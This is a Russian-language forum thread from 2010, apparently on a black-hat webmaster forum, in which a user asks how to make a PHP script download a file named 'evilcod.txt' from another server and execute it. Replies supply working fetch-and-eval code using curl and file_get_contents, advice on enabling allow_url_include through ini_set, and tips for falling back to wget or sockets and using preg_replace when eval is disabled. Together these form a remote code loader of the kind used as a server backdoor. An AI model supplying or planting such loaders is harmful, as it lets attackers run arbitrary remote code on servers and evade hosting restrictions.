|
| Дата |
|
USD/RUB | 93.4409 | BTC/USD | 64386.0864 |
|
|
|
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии. |
18.07.2010, 16:59
|
#1
|
Senior Member
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
|
Удалённый инклюд
Есть скрипт хочу сделать так чтобы он подгружал, с другого сервера тхт файл, и выполнял из него код конструкция типа include 'http://whitehouse.gov/evilcod.txt'; не работает. Как сделать чтобы задумка осуществилась в местах где доступа к конфигам нет, и как сделать где доступ к конфигам есть.
|
|
|
18.07.2010, 17:06
|
#2
|
Super Moderator
Регистрация: 04.04.2007
Адрес: Panama
Сообщений: 5,301
Бабло: $1565315
|
curl
<?php
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) print $r;
?>
|
|
|
18.07.2010, 17:08
|
#3
|
Senior Member
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
ТС -->
|
ТС
Так curl просто выведет содержимое файла, а не выполнит его, или я ошибаюсь?
Цитата:
curl
<?php
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) print $r;
?>
|
так не получилось, код вывелся как текст, но не выполнился
|
|
|
18.07.2010, 17:15
|
#4
|
Super Moderator
Регистрация: 04.04.2007
Адрес: Panama
Сообщений: 5,301
Бабло: $1565315
|
да точно, не правильно понял.. ну таким макаром ссылки можно вставлять на дружественных ресурсах короче.. сорри если тебе другое
|
|
|
18.07.2010, 17:19
|
#5
|
хде мой компот?!
Регистрация: 07.01.2008
Сообщений: 327
Бабло: $31276
|
eval контента, должен сработать
|
|
|
18.07.2010, 17:26
|
#6
|
Senior Member
Регистрация: 05.10.2009
Сообщений: 687
Бабло: $152005
ТС -->
|
ТС
я в php слабо соображаю вот такое не помогло
Цитата:
if (extension_loaded("curl")) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://url.net/incl.html");
$r = curl_exec($ch);
curl_close($ch);
} else { $r=implode("",file("http://url.net/incl.html")); }
if($r) eval ($r);
|
|
|
|
18.07.2010, 17:41
|
#7
|
Senior Member
Регистрация: 17.09.2009
Сообщений: 210
Бабло: $41929
|
Цитата:
Сообщение от aoki
я в php слабо соображаю вот такое не помогло
|
Проверь в коде который передаешь функции eval не должно быть <?php ?>
PHP код:
{ $r=implode("",file("http://url.net/incl.html")); }
Юзай
PHP код:
file_get_contents();
|
|
|
18.07.2010, 19:51
|
#8
|
автоматизирую интернеты
Регистрация: 05.07.2009
Адрес: chesser.ru
Сообщений: 3,362
Бабло: $470735
|
если конструкция вида:
PHP код:
include 'http://www.example.com/file.txt?foo=1&bar=2';
не работает, значит не включена одна из двух опций: allow_url_fopen(по деф. вкл) или allow_url_include(по деф. ВЫКЛ) - читаем php man
Эти опции запрещают/разрешают выкачивать(открывать) контент с внешних серверов, т.е. по URL
allow_url_include - отвечает только за include/require (_once), и то она работает, только если allow_url_fopen включена.
Если allow_url_fopen выкл, то нужно искать не php-шную доставку контента с внешнего сервера на ваш, а потом уже запускать eval() с этим контентом. Как вариант - это curl, если он поддерживается сервером. Либо, если возможно, грузить контент через системную команду аля wget
Если allow_url_fopen вкл, но allow_url_include выкл - то контент можно загрузить с помощью php и потом запустить его через eval
PHP код:
<?php
$c = file_get_contents('http://www.example.com/file.txt?foo=1&bar=2');
eval($c);
?>
вместо file_get_contents можно использовать аналоги: file, fopen - принцип тот же.
Посмотреть состояние опций allow_url_fopen и allow_url_include можно через:
PHP код:
<?php
phpinfo();
//или через
echo ini_get('allow_url_fopen');
echo ini_get('allow_url_include');
?>
изменить их значение можно в конфиг файле /etc/php.ini или можно попробывать через ini_set('allow_url_include', 'On');
|
|
|
18.07.2010, 23:08
|
#9
|
me gusta
Регистрация: 01.06.2009
Сообщений: 746
Бабло: $135376
|
chesser все верно расписал.
добавлю, что если curl'а нет или он отключен, можно попробовать заюзать сокеты.
так же если отключен eval(), можно попробовать заюзать выполнение кода через preg_replace();
__________________
Знать путь и пройти его — не одно и то же. Pharmcash & PharmcashUSA - знаем, проходили... Лидеры в фарме
|
|
|
18.07.2010, 23:21
|
#10
|
Senior Member
Регистрация: 01.11.2007
Сообщений: 2,269
Бабло: $288535
|
dealer, расскажи про preg_replace?
|
|
|
|